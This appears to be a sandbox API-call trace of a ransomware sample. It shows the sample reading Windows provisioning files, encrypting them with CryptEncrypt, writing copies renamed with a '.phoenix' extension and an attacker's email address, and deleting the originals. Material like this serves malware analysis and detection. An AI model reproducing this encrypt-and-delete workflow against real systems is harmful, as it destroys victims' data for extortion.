	[0249.823] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1514c0) returned 1
	[0249.823] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.823] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x356, lpOverlapped=0x0) returned 1
	[0249.870] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0249.870] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0249.871] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151780) returned 1
	[0249.871] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.871] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0249.871] CryptDestroyKey (hKey=0x151780) returned 1
	[0249.871] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0249.871] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0249.871] CloseHandle (hObject=0x2d8) returned 1
	[0249.871] CloseHandle (hObject=0x2f0) returned 1
	[0249.871] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\408__connections_cellular_vodafone es (spain)_i0$(__mvid)@wap.provxml")) returned 1
	[0249.872] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0249.872] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\409__connections_cellular_vodafone es (spain)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.873] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=850) returned 1
	[0249.873] CloseHandle (hObject=0x2f0) returned 1
	[0249.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\409__connections_cellular_vodafone es (spain)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0249.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\409__connections_cellular_vodafone es (spain)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.873] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\409__connections_cellular_vodafone es (spain)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.873] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.873] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.873] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\409__connections_cellular_vodafone es (spain)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0249.874] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151440) returned 1
	[0249.874] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.874] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x352, lpOverlapped=0x0) returned 1
	[0249.882] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0249.882] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0249.882] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151280) returned 1
	[0249.882] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.882] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0249.882] CryptDestroyKey (hKey=0x151280) returned 1
	[0249.882] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0249.883] CryptDestroyKey (hKey=0x151440) returned 1
	[0249.883] CloseHandle (hObject=0x2f0) returned 1
	[0249.883] CloseHandle (hObject=0x2d8) returned 1
	[0249.883] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\409__connections_cellular_vodafone es (spain)_i1$(__mvid)@wap.provxml")) returned 1
	[0249.884] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0249.884] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\40__connections_cellular_velcom (belarus)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0249.884] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=851) returned 1
	[0249.884] CloseHandle (hObject=0x2d8) returned 1
	[0249.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\40__connections_cellular_velcom (belarus)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0249.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\40__connections_cellular_velcom (belarus)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.885] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\40__connections_cellular_velcom (belarus)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0249.885] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.885] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.885] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\40__connections_cellular_velcom (belarus)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.885] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1510c0) returned 1
	[0249.885] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.886] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x353, lpOverlapped=0x0) returned 1
	[0249.938] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0249.938] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0249.939] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1513c0) returned 1
	[0249.939] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.939] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0249.939] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0249.939] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0249.939] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0249.939] CloseHandle (hObject=0x2d8) returned 1
	[0249.939] CloseHandle (hObject=0x2f0) returned 1
	[0249.939] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\40__connections_cellular_velcom (belarus)_i1$(__mvid)@wap.provxml")) returned 1
	[0249.940] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0249.940] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\411__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.941] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=480) returned 1
	[0249.941] CloseHandle (hObject=0x2f0) returned 1
	[0249.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\411__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0249.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\411__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.941] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\411__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.941] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.942] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.942] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\411__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0249.942] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0249.942] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.942] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1e0, lpOverlapped=0x0) returned 1
	[0249.943] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0) returned 1
	[0249.943] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1f0, lpOverlapped=0x0) returned 1
	[0249.944] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151600) returned 1
	[0249.944] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.944] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0249.944] CryptDestroyKey (hKey=0x151600) returned 1
	[0249.945] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0249.945] CryptDestroyKey (hKey=0x151280) returned 1
	[0249.945] CloseHandle (hObject=0x2f0) returned 1
	[0249.945] CloseHandle (hObject=0x2d8) returned 1
	[0249.945] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\411__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0249.946] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0249.946] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\412__connections_cellular_yoigo (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0249.946] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=701) returned 1
	[0249.946] CloseHandle (hObject=0x2d8) returned 1
	[0249.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\412__connections_cellular_yoigo (spain)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0249.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\412__connections_cellular_yoigo (spain)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.946] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\412__connections_cellular_yoigo (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0249.947] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.947] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.947] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\412__connections_cellular_yoigo (spain)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.947] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151600) returned 1
	[0249.947] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.947] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2bd, lpOverlapped=0x0) returned 1
	[0250.008] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0) returned 1
	[0250.008] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2c0, lpOverlapped=0x0) returned 1
	[0250.009] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0250.009] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0250.009] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0250.009] CryptDestroyKey (hKey=0x151640) returned 1
	[0250.009] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0250.009] CryptDestroyKey (hKey=0x151600) returned 1
	[0250.009] CloseHandle (hObject=0x2d8) returned 1
	[0250.009] CloseHandle (hObject=0x2f0) returned 1
	[0250.010] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\412__connections_cellular_yoigo (spain)_i0$(__mvid)@wap.provxml")) returned 1
